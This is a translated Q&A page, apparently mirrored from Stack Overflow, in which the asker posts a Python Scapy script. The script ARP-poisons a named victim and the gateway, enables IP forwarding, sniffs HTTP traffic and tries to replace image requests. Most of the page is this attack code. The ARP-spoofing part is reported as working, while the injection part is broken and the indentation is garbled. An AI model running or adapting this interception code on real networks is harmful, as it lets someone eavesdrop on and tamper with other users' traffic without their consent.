簡體   English   中英

Python Scapy嗅探替換圖像

[英]Python scapy sniffing replacing images

我要做什么的簡短說明:)

我想用特定的圖片替換http流量中的所有圖片。

我先從arp欺騙進入流量。 然后,我正在檢查數據包是否包含http-raw數據。 如果是這樣,我將檢查請求是否為圖像請求。 如果是圖像請求,則嘗試用我自己的圖像替換該請求。

這是我的代碼:

#!/usr/bin/python

from scapy.all import *
import threading 
import os

# Destination is the IP-Adress of the Victim
# Source ist the IP-Adress of the Gateway
# Opcode is Reply (2)
def VictimPoisoning() :
   VictimPacket = ARP(pdst=VictimIP, psrc=GatewayIP, op=2)
   while True :
       try:
           send(VictimPacket, verbose = 0)
       except KeyboardInterupt:
           sys.exit(1)

# Source ist the IP-Adress of the Gateway
# Destination is the IP-Adress of the Victim
# Opcode is Reply (2)
def GatewayPoisoning() :
   GatewayPacket = ARP(pdst=GatewayIP, psrc=VictimIP, op=2)
   while True:
       try:
           send(GatewayPacket, verbose = 0)
       except KeyboardInterupt:                     
           sys.exit(1)

    def TCPHttpExtract(pkt):
       if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.getlayer(Raw):

       #This packet should be sent by every image request
       OwnPacket="GET /resources/css/mdr/global/img/iconFlash.jpg HTTP/1.1\nHost:   www.site.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nConnection: keep-alive"

       StringJPG=""
       StringPNG=""
       StringGIF=""
       StringPacket=""
       liste=[]     

       for line in pkt.getlayer(Raw) :
           liste.append(line)

       #Check if the requests contains an *.jpg, *.png, *.gif
       #Just check JPG - rest will be implemented later on
       StringPacket=re.findall('(\s\/.*?\s)', str(liste))
       StringJPG=re.findall('.*\.jpg', str(StringPacket))
       StringPNG=re.findall('.*\.png', str(StringPacket))
       StringGIF=re.findall('.*\.gif', str(StringPacket))
       if(StringJPG):
          send(OwnPacket)

      #Forward packets
      os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 


      print "\n----------------------------------------"
      VictimIP  = raw_input("Victim-IP:    ")
      GatewayIP = raw_input("Gateway-IP:   ")
      IFACE     = raw_input("Interface:    ")
      print "-----------------------------------------\n"

      VictimThread = []
      GatewayThread = []    

      print "Start poisoning the Victim ... \n"

      while True:   
         try:
            # VictimThread      
            VicPoison = threading.Thread(target=VictimPoisoning)
            VicPoison.setDaemon(True)
            VictimThread.append(VicPoison)
            VicPoison.start()       

            # GatewayThread
            GWayPoison = threading.Thread(target=GatewayPoisoning)
            GWayPoison.setDaemon(True)
            GatewayThread.append(GWayPoison)
            GWayPoison.start()

            pkt=sniff(iface=IFACE, prn=TCPHttpExtract)

            # Cancel with STRG+C
         except KeyboardInterupt:                     
            sys.exit(1)

arp欺騙正在工作,圖像正則表達式和數據包的發送也可以,但瀏覽器不會更改/獲取該圖像。 我必須先銷毀原始數據包嗎? 我不想使用ettercap,我想在這里用python :)

*很抱歉格式不正確。

感謝大家的幫助! :)

這個問題的答案是結合ip-tables代理。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM